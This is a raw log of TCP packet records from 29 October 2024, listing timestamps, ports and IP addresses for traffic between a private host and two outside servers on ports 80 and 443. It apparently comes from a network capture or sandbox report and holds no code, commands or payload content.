Oct 29, 2024 05:03:25.394823074 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.394872904 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.394934893 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.397434950 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.397520065 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.397548914 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.688673019 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:25.688802004 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:25.694989920 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:25.700458050 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:25.836857080 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.836952925 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.838612080 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.838640928 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.839134932 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.840567112 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.840720892 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.840769053 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.840857983 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:25.840872049 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:25.975678921 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:25.975841999 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.083499908 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.084800005 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.089296103 CET	80	50040	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:26.089534998 CET	50040	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.090126991 CET	80	50042	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:26.090226889 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.091519117 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.096869946 CET	80	50042	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:26.381757975 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:26.381861925 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:26.381941080 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:26.520618916 CET	50041	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:26.520668030 CET	443	50041	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:26.994987965 CET	80	50042	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:26.995060921 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:26.999835014 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:26.999921083 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.000070095 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.000200987 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:27.000462055 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:27.000771046 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.000806093 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.006222963 CET	80	50042	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:27.006258965 CET	80	50044	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:27.006314993 CET	50042	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:27.006354094 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:27.006588936 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:27.011929035 CET	80	50044	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:27.626441002 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.626528025 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.630557060 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.630605936 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.631100893 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.632482052 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.632611990 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.632657051 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.632774115 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:27.632803917 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:27.917820930 CET	80	50044	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:27.917896986 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.035206079 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.035504103 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.041034937 CET	80	50045	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:28.041394949 CET	80	50044	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:28.041491985 CET	50044	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.041505098 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.041724920 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.047061920 CET	80	50045	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:28.231888056 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.231956959 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.232033968 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:28.232351065 CET	50029	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:28.232388973 CET	443	50029	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.353805065 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:28.353899002 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.354139090 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:28.354443073 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:28.354476929 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.946477890 CET	80	50045	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:28.946582079 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:28.961059093 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:28.961163044 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.107918978 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.108005047 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.108261108 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.111547947 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.111594915 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.111639977 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.117554903 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.118119001 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.123289108 CET	80	50045	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:29.123428106 CET	80	50047	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:29.123462915 CET	50045	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.123503923 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.124372959 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.129647017 CET	80	50047	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:29.439893007 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.439951897 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.440264940 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.450402021 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.450450897 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.450479031 CET	50046	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:29.450495958 CET	443	50046	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:29.453361034 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.458815098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:29.458906889 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.460150003 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:29.465504885 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.025290966 CET	80	50047	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.025376081 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.136257887 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.136600018 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.141999006 CET	80	50049	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.142072916 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.142357111 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.142381907 CET	80	50047	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.142445087 CET	50047	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.147861958 CET	80	50049	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370170116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370214939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370268106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370274067 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.370302916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370353937 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.370373964 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370424032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370456934 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370464087 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.370491028 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370526075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370533943 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.370565891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.370605946 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.376089096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.516911030 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.524235964 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524276018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524310112 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524322987 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.524346113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524393082 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.524415016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524499893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524533987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524544001 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.524569035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.524612904 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.524622917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.525454998 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.525489092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.525501013 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.525525093 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.525568008 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.643091917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643127918 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643162012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643174887 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.643197060 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643237114 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.643448114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643498898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643532038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643539906 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.643565893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643599987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.643610001 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.644328117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.644381046 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.644387007 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.678708076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.678756952 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.678771973 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.761991978 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762027979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762056112 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.762063026 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762170076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762202978 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762236118 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762260914 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.762268066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762315035 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.762823105 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762856007 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762890100 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762908936 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.762938976 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.762983084 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.797588110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.797622919 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.797657013 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.797683954 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.797691107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.797748089 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.880876064 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.880911112 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.880961895 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.880969048 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.881063938 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881098032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881119967 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.881131887 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881175041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.881428957 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881481886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881515980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.881584883 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.916429043 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916461945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916486979 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.916513920 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916547060 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916589022 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.916599035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916632891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916666031 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.916716099 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:30.917047024 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:30.917165041 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:30.917232037 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:30.917429924 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:30.917494059 CET	50043	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:30.917536020 CET	443	50043	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:30.959250927 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:30.959516048 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:30.959733009 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:30.960546017 CET	50039	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:30.960589886 CET	443	50039	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:31.000047922 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000083923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000108957 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.000118017 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000164986 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000178099 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.000200033 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000233889 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000267982 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000300884 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.000314951 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.035398006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035454988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035486937 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035520077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035552025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035557032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.035587072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.035598040 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.058408022 CET	80	50049	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.058527946 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.061232090 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.062150002 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.066914082 CET	80	50049	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.067488909 CET	80	50050	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.069226980 CET	50049	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.069262981 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.069650888 CET	50050	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.075016022 CET	80	50050	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.082915068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.082947969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.082988977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.082998037 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.083046913 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.118771076 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.118812084 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.118846893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.118864059 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.119055986 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.119090080 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.119148016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.119180918 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.119194984 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.119215965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.121121883 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.154448032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154479027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154512882 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154546022 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154578924 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154607058 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.154613972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.154665947 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.201625109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.201658010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.201725006 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.201786041 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.201813936 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.201867104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.237556934 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237590075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237641096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237656116 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.237674952 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237709045 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237742901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.237792015 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.238260984 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.238293886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.238329887 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.238389015 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.245070934 CET	50051	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.245134115 CET	443	50051	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:31.245626926 CET	50051	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.247824907 CET	50051	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:31.247858047 CET	443	50051	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:31.273192883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.273245096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.273297071 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.273329973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.273354053 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.273364067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.273411989 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.320549965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.320765018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.320800066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.320950031 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.356664896 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356699944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356734037 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356746912 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.356766939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356775999 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.356802940 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356846094 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.356925011 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.356980085 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.357008934 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.357057095 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.357369900 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.357402086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.357434988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.357445002 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.358457088 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.392136097 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.392241955 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.392277002 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.392309904 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:31.392483950 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:31.392483950 CET	50048	80	192.168.2.5	185.215.113.16
